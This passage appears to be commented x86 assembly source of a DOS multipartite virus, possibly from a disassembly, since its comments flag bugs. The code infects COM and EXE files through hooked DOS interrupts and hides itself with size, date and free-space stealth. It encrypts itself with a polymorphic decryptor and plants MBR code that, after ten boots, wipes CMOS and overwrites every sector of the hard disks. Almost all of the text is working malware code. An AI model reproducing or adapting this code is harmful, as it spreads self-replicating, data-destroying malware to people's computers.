or bp,bp ; Renaming to Exe or Com?
jnz now_is_exec ; Yes? then jmp
call disinfect_file ; else disinfect
jmp jmp_end_i21

now_is_exec:
call try_to_infect_file
jmp_end_i21:
pop ax
pop bp
pop cx
pop di
pop si
pop es
pop dx
pop ds
jmp exit_i21

disinfect:
push dx
cmp ah,6Ch ; Extended create/open?
jne exec? ; No? then jmp
test dl,1 ; Action=open file?
jz not_open ; No? then jmp
mov dx,si
exec?:
cmp ah,4Bh ; Exec file?
jne no_exec ; No? then jmp
push ax
push si
push di
push es
push cx
push ds
mov cs:ticks_disableFD,30*18 ; 30 seconds
or cs:flags,2 ; Don't disable FD
call enable_FD
mov si,dx
call end_fname
dec si
mov di,offset(end_chkdsk)
mov cx,end_chkdsk-end_wswap
push cs
pop es
call cmp_strings ; chkdsk.exe?
jnc no_chkdsk ; No? then jmp
or cs:flags,80h ; No stealth
no_chkdsk:
pop ds
pop cx
pop es
pop di
pop si
pop ax
no_exec:
test cs:flags,1 ; bit0 never is 1!!! I think...
jnz not_open ; then this jump is never used
call disinfect_file
not_open:
pop dx
jmp exit_i21

fffnh:
call int21h ; Find-first/next
jc ret_fffnh ; jmp if no more files
pushf
call push_registers
mov ah,2Fh
call int21h ; Get DTA
push es
pop ds
mov dx,bx
add dx,1Eh
call exe_or_com? ; if bp=0 then not exe/com
or bp,bp ; Exe or Com?
jz end_fffnh ; No? then jmp
mov ax,[bx+(dta_date-dta)]
shr ah,1
cmp ah,64h ; Infected?
jb end_fffnh ; No? then jmp
mov ax,es:[bx+(dta_date-dta)] ; Get file date
rcr ah,1
pushf
sub ah,100 ; Set original date
popf
rcl ah,1
mov es:[bx+(dta_date-dta)],ax
sub [bx+(dta_sizel-dta)],offset(length_virus)
end_fffnh:
call pop_registers
popf
ret_fffnh:
retf 2

jmp_infect_on_exit:
jmp infect_on_exit

int_21:
mov cs:into_i21,1
cmp ah,4Ch ; Exit program via ah=4Ch?
je jmp_infect_on_exit ; Yes? then jmp (infect)
or ah,ah ; Exit program via ah=0?
jz jmp_infect_on_exit ; Yes? then jmp (infect)
cmp ah,31h ; Exit program via ah=31h (TSR)?
je jmp_infect_on_exit ; Yes? then jmp (infect)
cmp ax,0B0Bh ; Our check?
je resident_check ; Yes? then jmp
test cs:flags,80h ; Do stealth?
jnz exit_i21 ; No? then jmp
cmp ah,4Bh ; Exec?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,11h ; FF FCB?
je jmp_fffnfcb ; Yes? then jmp (length stealth)
cmp ah,12h ; FN FCB?
je jmp_fffnfcb ; Yes? then jmp (length stealth)
cmp ah,4Eh ; FF handle?
je fffnh ; Yes? then jmp (length stealth)
cmp ah,4Fh ; FN handle?
je fffnh ; Yes? then jmp (length stealth)
cmp ah,3Dh ; Open?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,6Ch ; Extended open?
je jmp_disinfect ; Yes? then jmp (disinfect)
cmp ah,36h ; Get Disk free?
je disk_free ; Yes? then jmp (free space stealth)
cmp ah,0Fh ; Open file using FCB?
je open_delete_FCB ; Yes? then jmp (infect)
cmp ah,13h ; Delete file using FCB?
je open_delete_FCB ; Yes? then jmp (infect)
cmp ah,17h ; Rename file using FCB?
je jmp_rename_FCB ; Yes? then jmp (infect/disinfect)
cmp ah,41h ; Delete file?
je del_getsetattr ; Yes? then jmp (infect)
cmp ah,56h ; Rename file?
je jmp_rename ; Yes? then jmp (infect/disinfect)
cmp ax,4300h ; Get attributes?
je del_getsetattr ; Yes? then jmp (infect)
cmp ax,4301h ; Set attributes?
je del_getsetattr ; Yes? then jmp (infect)
cmp ah,3Eh ; Close file?
je jmp_close ; Yes? then jmp (infect)
exit_i21:
mov cs:into_i21,0
jmp dword ptr cs:ofs_i21
resident_check:
mov ax,0EFEFh
iret
del_getsetattr:
jmp jmp_try_infect_file
jmp_close:
jmp close
jmp_fffnfcb:
jmp fffnfcb
jmp_disinfect:
jmp disinfect
jmp_rename:
jmp rename_handle
jmp_rename_FCB:
jmp rename_FCB

open_delete_FCB:
push ds
push dx
call make_fname
call try_to_infect_file
pop dx
pop ds
jmp exit_i21

save_free:
mov cs:into_i21,0
mov cs:stored_psp,bx ; Store program PSP dir
mov cs:stored_drive,dl ; Store drive
pop bx
call int21h ; Get free space
mov cs:clusters_avail,bx ; Store free space
retf 2

disk_free:
push bx
push ax
mov ah,62h
call int21h ; Get PSP address in BX
pop ax
cmp bx,cs:stored_psp ; Same program?
jne save_free ; No? then jmp
cmp dl,cs:stored_drive ; Same drive?
jne save_free ; No? then jmp
pop bx
call int21h ; Get free space
mov bx,cs:clusters_avail ; Return previous free space
retf 2

int_27:
push cx
mov cl,4
shr dx,cl ; div 16
pop cx
inc dx ; inc paragraphs
mov ax,3100h ; To exec int 21h, AX=3100 (TSR)
jmp infect_on_exit

int_20:
xor ax,ax ; To exec int 21h, AX=0 (exit)
infect_on_exit:
push ax
push ds
push dx
push bx
pushf
push cs
pop ds
cmp activity_checks,1 ; Checking activity?
jne set_checks ; No? then jmp
jmp ints_set

set_checks:
mov activity_checks,1
mov ah,34h
call int21h ; Get address of DOS activity flag
mov ofs_flagdos,bx ; Store it
mov seg_flagdos,es
mov al,8
call get_int_vector ; Get int 8
mov ofs_i8,bx ; Store it
mov seg_i8,es
mov al,17h
call get_int_vector ; Get int 17h
mov ofs_i17,bx ; Store it
mov seg_i17,es
mov al,25h
call get_int_vector ; Get int 25h
mov ofs_i25,bx ; Store it
mov seg_i25,es
mov al,26h
call get_int_vector ; Get int 26h
mov ofs_i26,bx ; Store it
mov seg_i26,es
mov ax,5D06h
call int21h ; Get address of DOS swappable area
mov cs:ofs_swpdos,si ; Store it
mov cs:seg_swpdos,ds
xor ax,ax
mov ds,ax
cli
mov word ptr ds:[8h*4],offset(int8) ; Set int 8
mov ds:[8h*4+2],cs
mov word ptr ds:[17h*4],offset(int17) ; Set int 17h
mov ds:[17h*4+2],cs
mov word ptr ds:[25h*4],offset(int25) ; Set int 25h
mov ds:[25h*4+2],cs
mov word ptr ds:[26h*4],offset(int26) ; Set int 26h
mov ds:[26h*4+2],cs
sti
mov si,400h ; Address of COM ports
mov di,offset(com_ports)
push cs
pop es
movsw ; com1
movsw ; com2
movsw ; com3
movsw ; com4
ints_set:
test cs:flags,40h ; bit14 never is 1!!! I think...
jnz get_parent_psp ; then this jump is never used
call get_fname_env
get_parent_psp:
mov ah,62h
call int21h ; Get current PSP address
mov ds,bx
mov ax,ds:[16h] ; Get parent PSP
mov ds,ax
mov ax,ds:[16h] ; Get parent PSP (of parent PSP :)
mov bx,ds
cmp ax,bx ; Same PSP? Parent=command interpreter?
jne no_reset_flags ; No? then jmp
and cs:flags,0 ; Clear flags
no_reset_flags:
popf
pop bx
pop dx
pop ds
pop ax
mov cs:into_i21,0
jmp dword ptr cs:ofs_i21

close:
call push_registers
push bx
call set_i24_i1B_i23
call get_ofs_fname
pop bx
clc
mov ax,1220h
int 2Fh ; GET JOB FILE TABLE ENTRY
; BX = file handle
; Return: CF set on error, AL = 6
; CF clear if successful
; ES:DI -> JFT entry for file handle
; in current process
jc end_close
cmp byte ptr es:[di],0FFh ; No table?
je end_close ; Yes? then jmp
clc
push bx
mov bl,es:[di] ; Get file entry number
xor bh,bh
mov ax,1216h
int 2Fh ; GET ADDRESS OF SYSTEM FILE TABLE
; BX = system file table entry number
; Return: CF clear if successful,
; ES:DI -> system file table entry
; CF set if BX greater than FILES=
pop bx
jc end_close
push es
pop ds
and word ptr [di+2],0FFF8h
or word ptr [di+2],2 ; File open mode 2 (I/O)
add di,cs:ofs_sft
mov dx,di
dec dx
call make_fname
push cs
pop ds
mov dx,offset(filename)
call infect_file
end_close:
call restore_i24_i1b_i23
call pop_registers
jmp exit_i21

jmp_try_infect_file:
call try_to_infect_file
jmp exit_i21

push_registers:
pop cs:return_dir
push ax
push bx
push cx
push dx
push es
push ds
push si
push di
push bp
jmp cs:return_dir

pop_registers:
pop cs:return_dir
pop bp
pop di
pop si
pop ds
pop es
pop dx
pop cx
pop bx
pop ax
jmp cs:return_dir

get_fname_env:
call push_registers
mov ah,62h
call int21h ; Get PSP address in BX
mov ds,bx
mov ds,ds:[2Ch] ; Get environment segment
xor si,si
mov cx,400h
search4fname:
mov ax,[si] ; Get word
or ax,ax ; Zero?
jz no_more_variables ; Yes? then jmp
inc si
loop search4fname
jmp _pop_regs

no_more_variables:
add si,4 ; Pathname of environment owner
mov dx,si
call try_to_infect_file
_pop_regs:
call pop_registers
ret
try_to_infect_file:
call push_registers
call normalize_fname
call set_i24_i1B_i23 ; Set ints
call get_reset_attr ; Save & reset attributes
jc error_writing
mov ax,3D02h
call int21h ; Open file I/O
jc error_writing
mov bx,ax ; bx:=handle
call infect_file
mov ah,3Eh
call int21h ; Close file
call restore_attr ; Restore attributes
error_writing:
call restore_i24_i1b_i23
call pop_registers
ret

st_command equ $-1


db 'COMMAND.'
ext_com db 'COM'
end_command equ word ptr $-1
gdi_exe db 'GDI.EXE'
end_gdi equ word ptr $-1
db 'DOSX.EXE'
end_dosx equ word ptr $-1
db 'WIN386.EXE'
end_win386 equ word ptr $-1
db 'KRNL286.EXE'
end_krnl286 equ word ptr $-1
db 'KRNL386.EXE'
end_krnl386 equ word ptr $-1
db 'USER.'
bad_end_user equ word ptr $-2
ext_exe db 'EXE'
end_user equ word ptr $-1
db 'WSWAP.EXE'
end_wswap equ word ptr $-1
db 'CHKDSK.EXE'
end_chkdsk equ word ptr $-1

normalize_fname:
push ds
pop es
push dx
pop si
push si
pop di
mov ax,1211h
int 2Fh ; NORMALIZE ASCIZ FILENAME
; DS:SI -> ASCIZ filename to normalize
; ES:DI -> buffer for normalized filename
; Return: destination buffer filled with
; uppercase filename, with slashes turned
; to backslashes
ret

cmp_strings: ; Compare two strings


; OUTPUT: Carry=1 if strings are equal
std
next_char:
lodsb
cmp al,' '
je next_char ; Ignore spaces
inc si
cmpsb
loope next_char
clc
or cx,cx ; Matching strings?
jnz no_match ; No? then jmp
stc ; Set carry
no_match:
ret

infect_file:
push ds
push dx
call exe_or_com?
or bp,bp ; Exe or Com?
jz not_infect ; No? then jmp
push bp
call cmp_fname ; Valid filename?
pop bp
jc not_infect ; No? then jmp
mov ax,4200h
xor cx,cx
xor dx,dx
call int21h ; Lseek start
jc not_infect
call read_header
jc not_infect
call check_if_exe
call check_if_infected ; Already infected?
jz not_infect ; Yes? then jmp
call get_ftime
call write_virus
jc not_infect
call restore_ftime
not_infect:
pop dx
pop ds
ret

restore_ftime:
mov ax,5701h
mov cx,cs:f_time
mov dx,cs:f_date
call int21h ; Restore file date & time
ret

restore_attr:
mov ax,4301h
mov cx,cs:attribs
call int21h ; Restore attributes
ret

get_ftime:
mov ax,5700h
call int21h ; Get file time
mov cs:f_time,cx
mov cs:f_date,dx
ret

get_reset_attr:
mov ax,4300h
call int21h ; Get attributes
mov cs:attribs,cx ; Store attributes
mov ax,4301h
xor cx,cx
call int21h ; Reset attributes
ret

check_if_exe:
cmp cs:_signature,5A4Dh ; EXE?
jz is_exe ; Yes? then jmp
cmp cs:_signature,4D5Ah ; EXE?
jz is_exe ; Yes? then jmp
mov bp,1 ; It's COM
ret
is_exe:
mov bp,3 ; It's EXE
ret

cmp_fname:
mov si,dx
call end_fname
dec si ; SI points to end fname
mov bp,si
push cs
pop es
mov di,offset(end_command)
mov cx,end_command-st_command
call cmp_strings ; COMMAND.COM?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_gdi)
mov cx,end_gdi-end_command
call cmp_strings ; GDI.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_dosx)
mov cx,end_dosx-end_gdi
call cmp_strings ; DOSX.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_win386)
mov cx,end_win386-end_dosx
call cmp_strings ; WIN386.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_krnl286)
mov cx,end_krnl286-end_win386
call cmp_strings ; KRNL286.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_krnl386)
mov cx,end_krnl386-end_krnl286
call cmp_strings ; KRNL386.EXE?
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(bad_end_user) ; BUG!!!! offset(end_user)
mov cx,end_user-end_krnl386
call cmp_strings ; USER.EXE? (BUG)
jc invalid_fname ; Yes? then jmp
mov si,bp
mov di,offset(end_wswap)
mov cx,end_wswap-end_user
call cmp_strings ; WSWAP.EXE?
jc invalid_fname ; Yes? then jmp
clc ; Valid filename
invalid_fname:
ret

get_file_encryption:
push cs
pop ds
mov ofs_virus,offset(length_virus)-offset(l_mask)
call lseek
mov ah,3Fh
mov dx,offset(code_mask)
mov cx,1
call int21h ; Read 1 byte (encryption mask)
push cs
pop ds
mov ofs_virus,offset(length_virus)-(offset(prefix_op)+1)
call lseek
mov ah,3Fh
mov dx,offset(ofs_virus)
mov cx,1
call int21h ; Read 1 byte
cmp byte ptr ofs_virus,0F6h ; Not encryption?
je m_not ; Yes? then jmp
cmp byte ptr ofs_virus,80h ; Xor encryption?
je m_xor ; Yes? then jmp
cmp byte ptr ofs_virus,0D0h ; Ror encryption?
je m_ror ; Yes? then jmp
cmp byte ptr ofs_virus,0FEh ; Dec encryption?
je m_dec ; Yes? then jmp
m_not:
mov crypt_method,1
ret
m_xor:
mov crypt_method,0
ret
m_ror:
mov crypt_method,2
ret
m_dec:
mov crypt_method,3
ret

check_if_infected:
push cs
pop ds
call get_file_encryption
mov ofs_virus,offset(length_virus)-offset(gdi_exe)
call lseek
mov ah,3Fh
mov dx,offset(ofs_virus)
mov cx,2
call int21h ; Read 2 bytes
mov si,offset(ofs_virus)
call decrypt_bytes
mov cx,word ptr gdi_exe
cmp cx,ofs_virus ; Infected file?
ret

get_n_di: ; Get SI in [0, DI, DI*2]


call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]
mov si,di
mul si
mov si,ax
sub si,di
jns not_neg
neg si
not_neg:
ret

get_1byte_inst:
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]
mov si,ax
mov al,byte ptr [si+one_byte_inst]
ret

mbr_code:
cli
xor ax,ax
mov ss,ax
mov sp,7C00h
push cs
pop ds
mov cx,end_mbr_code-mbr_code
mov bx,7C00h+(st_mbr_enc-mbr_code)
tmbr_code:
push cx
decrypt_mbr:
xor byte ptr [bx],0 ; xor byte ptr [bx],mask_mbr
mask_mbr equ byte ptr $-1
inc bx
loop decrypt_mbr
st_mbr_enc:
mov ax,910h
mov es,ax ; ES:=0910h
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch ; Inc max. cylinder
sub cl,2 ; Dec*2 max. sector
mov dl,80h
mov ax,201h
mov bx,sp
int 13h ; Read 1 sector
inc word ptr es:[bx] ; Inc boots counter
mov ax,301h
int 13h ; Write sector
cmp word ptr es:[bx],10 ; <10 boots?
jb no_activate ; Yes? then jmp
mov word ptr es:[bx],0 ; Reset boots counter
mov ax,301h
int 13h ; Write 1 sector
kill_cmos_hd:
mov bp,7C00h
in al,21h ; Interrupt controller, 8259A.
or al,2 ; Disable keyboard IRQ
out 21h,al ; Interrupt controller, 8259A.
mov cx,40h
kill_cmos:
mov al,cl
out 70h,al ; CMOS Memory
xor al,al
out 71h,al ; Fill CMOS with zeros
loop kill_cmos
mov dl,80h ; 1st HD
kill_hd:
mov bh,dl
mov ah,8
int 13h ; Get current drive parameters
mov dl,bh ; DL:=80h
mov al,cl
mov cx,101h ; Start in cylinder 1, sector 1
other_cylinder:
push dx
other_head:
push ax
mov ah,3
int 13h ; Write sector
pop ax
dec dh ; dec head
jnz other_head
pop dx
cmp ch,0FFh ; Cylinder=255?
pushf
inc ch ; Inc cylinder
popf
jne other_cylinder ; No? then jmp
xor ax,ax
mov ds,ax ; ds:=0
cmp byte ptr ds:[475h],1 ; <=1 HD present?
jbe continue_killing ; Yes? then jmp
inc dl ; Next HD
jmp kill_hd ; Kill it
continue_killing:
test cl,80h ; More cylinders?
jnz c_768 ; Yes? then jmp
test cl,40h ; More cylinders?
jnz c_256 ; Yes? then jmp
mov cl,41h ; Cylinder 256->512
jmp_other_cylinder:
xor ch,ch
jmp other_cylinder
c_256:
mov cl,81h ; Cylinder 512->768
jmp jmp_other_cylinder
c_768:
mov cl,0C1h ; Cylinder 768->1024
jmp jmp_other_cylinder

no_activate:
mov ax,ds:[413h] ; Number of KBs
sub ax,8 ; Get 8 KB
mov cl,6
shl ax,cl ; Calculate base segment
mov es,ax
xor di,di
pop cx
mov si,sp
cld
rep movsb ; Move code
mov ax,(read_code_from_disk-mbr_code)
push es
push ax
retf ; jmp read_code_from_disk
read_code_from_disk:
mov ax,end_mbr_code-mbr_code
mov cl,4
shr ax,cl ; Calculate relative segment
inc ax ; Next segment
mov bx,cs
add ax,bx ; Calculate absolute segment
mov es,ax ; Base segment for code
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch
mov dl,80h
sub cl,0Eh
mov ax,20Ch
xor bx,bx
int 13h ; Read 12 sectors (code)
mov al,cs:[mask_orig_mbr-mbr_code]
mov es:mask_orig_mbr,al
mov es:changes_i21,0
mov es:loading_dos,0
mov ah,cs:[floppy_types-mbr_code]
mov es:floppy_types,ah
mov dx,0Ah
mov al,10h
out 70h,al ; CMOS Memory: diskette drive type
in al,71h ; CMOS Memory: read byte
or al,al ; Zero? No floppy?
jnz already_enabled ; Yes? then jmp
mov dx,6
mov al,10h
call write_cmos ; Enable floppy
already_enabled:
xor ax,ax
mov ds,ax ; ds:=0
mov byte ptr ds:[700h],16h ; Mark in DOS segment
mov bp,cs:[inst_hard-mbr_code]
mov ds:[410h],bp
lds si,ds:[21h*4] ; Get int 21h
cli
mov es:[boot_i21],ds
sti
mov ds,ax
lds si,ds:[1Ch*4] ; Get int 1Ch
mov es:[ofs_1c],si ; Store it
mov es:[seg_1c],ds
mov ds,ax
cli
mov ds:[1Ch*4],offset(int1Ch) ; Set new int 1Ch
mov ds:[1Ch*4+2],es
sti
mov es,ax
mov bx,7C00h
cmp dx,0Ah ; Was the floppy enabled?
jz no_read_boot ; Yes? then jmp
xor dx,dx
int 13h ; Reset drive A:
mov si,2
try_read_again:
mov ax,201h
mov cx,1
int 13h ; Read sector (boot)
jnc exec_boot_mbr
dec si
jnz try_read_again
no_read_boot:
mov ah,8
mov dl,80h
int 13h ; Get current drive parameters
inc ch
dec cl
mov dl,80h
mov ax,201h
int 13h ; Read 1 sector (original MBR)
mov al,cs:[mask_orig_mbr-mbr_code]
mov si,bx
mov cx,512
dec_orig_mbr:
xor es:[si],al ; Decrypt original MBR
inc si
loop dec_orig_mbr
exec_boot_mbr:
db 0EAh
dw 7C00h,0 ; jmp far ptr 0:7C00h
; Exec original MBR/boot A:

write_cmos: ; Input: AL = CMOS address


; AH = byte to write
cli
or al,80h ; Disable NMI
out 70h,al ; CMOS Memory: Select address
mov al,ah
jmp $+2
jmp $+2
out 71h,al ; CMOS Memory: Write byte
mov al,0
jmp $+2
jmp $+2
out 70h,al ; CMOS Memory: Select address
sti
ret

mask_orig_mbr db 60h
;_b2c
floppy_types db 24h
;_b2d
inst_hard dw 4461h
chksum_method db 0
changes_i21 db 2

end_mbr_code:

int1Ch:
call push_registers
cmp cs:loading_dos,1 ; Loading DOS?
je dos_present ; Yes? then jmp
xor ax,ax
mov ds,ax ; DS:=0
cmp byte ptr ds:[700h],16h ; Mark present?
je no_dos_loaded ; Yes? then jmp
mov cs:loading_dos,1 ; No? then loading DOS
sub word ptr ds:[413h],8 ; Get 8 KB
call disable_FD
dos_present:
xor ax,ax
mov es,ax ; ES:=0
mov ax,cs:boot_i21
cmp es:[21h*4+2],ax ; Int 21h changed?
je no_dos_loaded ; No? then jmp
mov ds,es:[21h*4+2]
mov cs:boot_i21,ds ; Save segment of new i21h
inc cs:changes_i21
cmp cs:changes_i21,2 ; Two changes?
; (DOS changes i21h 2 times)
jne no_dos_loaded ; No? then jmp
push cs
pop es
mov di,offset(_header)
xor al,al
mov cx,115h
cld
rep stosb ; Clear data area
push cs
pop ds
mov al,13h
call get_int_vector ; Get int 13h
mov ofs_i13,bx ; Store it
mov seg_i13,es
call set_ints ; Initialize ints
push cs
pop ds
xor ax,ax
mov es,ax ; ES:=0
lds di,dword ptr ofs_1c
cli
mov es:[1Ch*4],di ; Restore int 1Ch
mov es:[1Ch*4+2],ds
add word ptr es:[413h],8 ; Return the 8 KB to the
; system (the DOS is loaded
; and will not use them)
sti
no_dos_loaded:
call pop_registers
iret

read_cmos: ; Input: AL = address to read


; Output: AH = byte from CMOS
or al,80h ; Disables NMI
cli
out 70h,al ; CMOS Memory: Select address
call waste_time
in al,71h ; CMOS Memory: Read byte
mov ah,al
mov al,0
call waste_time
out 70h,al ; CMOS Memory: Select address 0
sti
ret

set_ints:
push cs
pop ds
mov flags,80h
mov point,'.'
mov jmp_virus,0E9h ; jmp opcode
mov al,21h
call get_int_vector ; Get int 21h
mov ofs_i21,bx ; Store it
mov seg_i21,es
mov al,13h
call get_int_vector ; Get int 13h
mov ofs_i13_2,bx ; Store it
mov seg_i13_2,es
xor ax,ax
mov ds,ax ; DS:=0
cli
mov word ptr ds:[21h*4],offset(int_21) ; Set new i21
mov ds:[21h*4+2],cs
mov word ptr ds:[20h*4],offset(int_20) ; Set new i20
mov ds:[20h*4+2],cs
mov word ptr ds:[27h*4],offset(int_27) ; Set new i27
mov ds:[27h*4+2],cs
sti
call patch_i13
ret

disable_FD:
test cs:flags,2 ; Permission to disable floppy?
jnz no_disable_fd ; No? then jmp
cmp cs:chksum_method,2 ; Known checksum method?
je no_disable_fd ; No? then jmp
push ax
mov ax,10h
call write_cmos ; Disable FD from CMOS
call write_CMOS_chksum ; Calculate new checksum
pop ax
no_disable_fd:
ret

enable_FD:
cmp cs:chksum_method,2 ; Known checksum CMOS method?
je no_change_cmos ; No? then jmp
push ax
mov ah,cs:floppy_types
mov al,10h
call write_cmos ; Enable FD drives
call write_CMOS_chksum ; Restore cmos checksum
pop ax
no_change_cmos:
ret

write_CMOS_chksum:
call push_registers
cmp cs:chksum_method,1 ; Method 2?
je write_CMOS_chksum2 ; Yes? then jmp
call calculate_CMOS_checksum_1
mov al,2Eh
mov ah,dh
call write_cmos ; Store new checksum in CMOS
mov al,2Fh
mov ah,dl
call write_cmos
jmp _pops
write_CMOS_chksum2:
call calculate_CMOS_checksum_2
mov al,32h
mov ah,dh
call write_cmos ; Store new checksum in CMOS
mov al,33h
mov ah,dl
call write_cmos
_pops:
call pop_registers
ret

calculate_CMOS_checksum_1:
mov cx,1Eh
xor dx,dx
mov al,10h
next_cmos_byte:
mov bl,al
call read_cmos
mov al,bl
inc al
push ax
xchg ah,al
xor ah,ah
add dx,ax ; Make checksum
pop ax
loop next_cmos_byte
ret

calculate_CMOS_checksum_2:
mov cx,22h
xor dx,dx
mov al,10h
next_byte_CMOS:
mov bl,al
call read_cmos
mov al,bl
inc al
push ax
xchg ah,al
xor ah,ah
xor dx,ax ; Make checksum
pop ax
loop next_byte_CMOS
ret

write_virus:
push cs
pop ds
push cs
pop es
mov di,offset(num_bytes)
mov [di],offset(length_virus) ; Bytes to decrypt
call get_random
mov cl,0Bh
shr ax,cl ; AX in [0..1Fh]
add [di],ax ; Variable number of bytes to decrypt
cmp bp,1 ; COM file?
jne write_start_exe ; No? then jmp
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
cmp ax,1Ch ; size > 1Ch bytes?
ja check_if_big ; Yes? then jmp
jmp _ret_2 ; Stupid jmp!!

check_if_big:
mov di,ax
push ax
clc
add ax,offset(vir_end)+495 ; !?
pop ax
jnc write_start_com ; Too big? No, then jmp
jmp _ret_2 ; Stupid jmp!!

write_start_com:
call write_jmptovir
jnb make_decryptor
jmp _ret_2 ; Stupid jmp!!

write_start_exe:
call write_header_exe
jnc make_decryptor
jmp _ret_2 ; Stupid jmp!!

make_decryptor:
call get_1byte_inst
mov _1cx,al
mov di,3
call get_n_di ; Get 0 or 3 or 6 in SI
add si,offset(table_reg_source) ; Source register
mov di,offset(r_source)
cld
movsb ; the mov
mov di,offset(r_op)
movsb ; the source register
mov di,offset(i_inc)
movsb ; the inc
mov di,4
call get_n_di ; Get 0 or 4 or 8 in SI
add si,offset(table_reg_index) ; Index register
mov di,offset(r_index)
movsb ; the mov
mov di,offset(d_loop)
movsb ; Store dec+jne or loop+garbage
movsw
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]: get encrytion method
mov crypt_method,al
call get_random
mov cl,0Fh
shr ax,cl ; AX in [0..1]
jnz no_xchg_inst
mov di,offset(xchg1) ; xchg 2 instructions
mov si,offset(r_index)
push di
push si
movsw
movsw
movsw
pop di ; DI:=offset(xchg1)
mov si,offset(xchg2)
movsw
movsb
pop si
movsw
movsb
no_xchg_inst:
cmp crypt_method,0 ; Xor?
jz enc_met_xor ; Yes? then jmp
cmp crypt_method,1 ; Not?
jz enc_met_not ; Yes? then jmp
cmp crypt_method,2 ; Rol?
jz enc_met_rol ; Yes? then jmp
cmp crypt_method,3 ; Dec?
jz enc_met_inc ; Yes? then jmp
enc_met_xor:
mov prefix_op,802Eh ; xor cs:
jmp decryptor_done
enc_met_not:
mov prefix_op,0F62Eh ; not cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,20h
jmp decryptor_done
enc_met_inc:
mov prefix_op,0FE2Eh ; inc cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,30h
jmp decryptor_done

enc_met_rol:
mov prefix_op,0D02Eh ; rol cs:
call get_1byte_inst
mov l_mask,al ; Don't need a mask
sub r_op,30h
decryptor_done:
cmp bp,1 ; COM file?
jne encrypt_code_and_write ; No? then jmp
; In EXE we need SEG CS:
mov ax,offset(encrypt_code_and_write)
push ax
call get_random
mov cl,0Eh
shr ax,cl ; AX in [0..3]: Get segment prefix
cmp al,1 ; Seg SS?
je seg_ss ; Yes? then jmp
cmp al,2 ; Seg ES?
je seg_es ; Yes? then jmp
cmp al,3 ; Seg CS?
je seg_cs ; Yes? then jmp
call get_1byte_inst ; if al=0
mov byte ptr prefix_op,al ; Subst CS: by one byte inst.
ret ; jmp encrypt_code_and_write
seg_es:
mov byte ptr prefix_op,26h ; SEG ES:
ret ; jmp encrypt_code_and_write
seg_cs:
mov byte ptr prefix_op,2Eh ; SEG CS:
; BUG!!!! Already CS:
; It would be DS: (3Eh)
ret ; jmp encrypt_code_and_write
seg_ss:
mov byte ptr prefix_op,36h ; SEG SS:
ret ; jmp encrypt_code_and_write

encrypt_code_and_write:
mov dx,offset(buffer_enc)
mov cl,4
shr dx,cl ; Calculate base address
inc dx
push cs
pop ax
add ax,dx
mov es,ax
get_no_zero:
call get_random
or al,al ; Zero?
jz get_no_zero ; Yes? then jmp
cmp crypt_method,0 ; XOR? Need a mask
jnz not_mask ; No? then jmp
mov cs:l_mask,al ; Store mask
mov dl,al
not_mask:
push dx
mov ax,4202h
xor cx,cx
xor dx,dx
call int21h ; Lseek end
mov ah,40h
xor dx,dx
mov cx,offset(code_enc)
mov si,cx
call int21h ; Write decryptor to file
pop dx
xor di,di
enc_next_byte:
lodsb
cmp crypt_method,1 ; Not?
jz _not ; Yes? then jmp
cmp crypt_method,0 ; Xor?
jz _xor ; Yes? then jmp
cmp crypt_method,2 ; Rol?
jz _rol ; Yes? then jmp
cmp crypt_method,3 ; Inc?
jz _inc ; Yes? then jmp
_xor:
xor al,dl
jmp enc_byte
_not:
not al
jmp enc_byte
_inc:
dec al
jmp enc_byte
_rol:
ror al,1
enc_byte:
stosb ; Store encrypted byte
cmp si,offset(length_virus) ; All encrypted?
ja all_encrypted ; Yes? then jmp
cmp di,512 ; Write in blocks of 512 bytes
; End of a block?
je write_512 ; Yes? then jmp
jmp_enc_next:
jmp enc_next_byte

write_512:
push ds
push es
push dx
mov ah,40h
push es
pop ds
mov cx,di
xor dx,dx
call int21h ; Write an encrypted 512-block
jc _ret_2
pop dx
pop es
pop ds
xor di,di
jmp jmp_enc_next

all_encrypted:
mov ah,40h
mov cx,di
dec cx
xor dx,dx
push es
pop ds
call int21h ; Write last block
mov ax,cs:f_date
rcr ah,1
pushf
add ah,100 ; Mark infected (add 100 years)
popf
rcl ah,1
mov cs:f_date,ax
clc
_ret_2:
ret

cmp_3bytes:
mov cx,3
cld
rep cmpsb
ret

exe_or_com?:
push cs
pop es
mov si,dx
call end_fname ; filename.ext
; ^ SI
sub si,3 ; filename.ext
; ^SI
mov di,offset(ext_com)
push si
call cmp_3bytes ; COM?
pop si
jne cmp_exe ; No? then jmp
mov bp,1
ret

cmp_exe:
mov di,offset(ext_exe)
push si
call cmp_3bytes ; EXE?
pop si
jne not_execom ; No? then jmp
mov bp,3
ret
not_execom:
xor bp,bp
ret

get_random: ; Get random number in AX


xor al,al
out 43h,al ; Timer 8253-5 (AT: 8254.2).
in al,40h ; Timer 8253-5 (AT: 8254.2).
mov ah,al
in al,40h ; Timer 8253-5 (AT: 8254.2).
ret

make_fname:
push si
push di
push es
push cx
push ax
mov si,dx
inc si
mov cx,8
mov di,offset(filename)
push cs
pop es
rep movsb ; Store name
mov si,dx
add si,9
mov cx,3
mov di,offset(filename_ext)
rep movsb ; Store extension
push cs
pop ds
mov dx,offset(filename)
call normalize_fname
pop ax
pop cx
pop es
pop di
pop si
ret

host_type db 1 ; 1 = COM
; 3 = EXE

table_reg_source:
db 0BBh ; mov bx,????
db 37h ; reg BX
inc bx

db 0BEh ; mov si,????


db 34h ; reg SI
inc si

db 0BFh ; mov di,????


db 35h ; reg DI
inc di
;100C
table_reg_index:
; Using AX
db 0B8h ; mov ax,????
dec ax
jne $-6
; Using CX
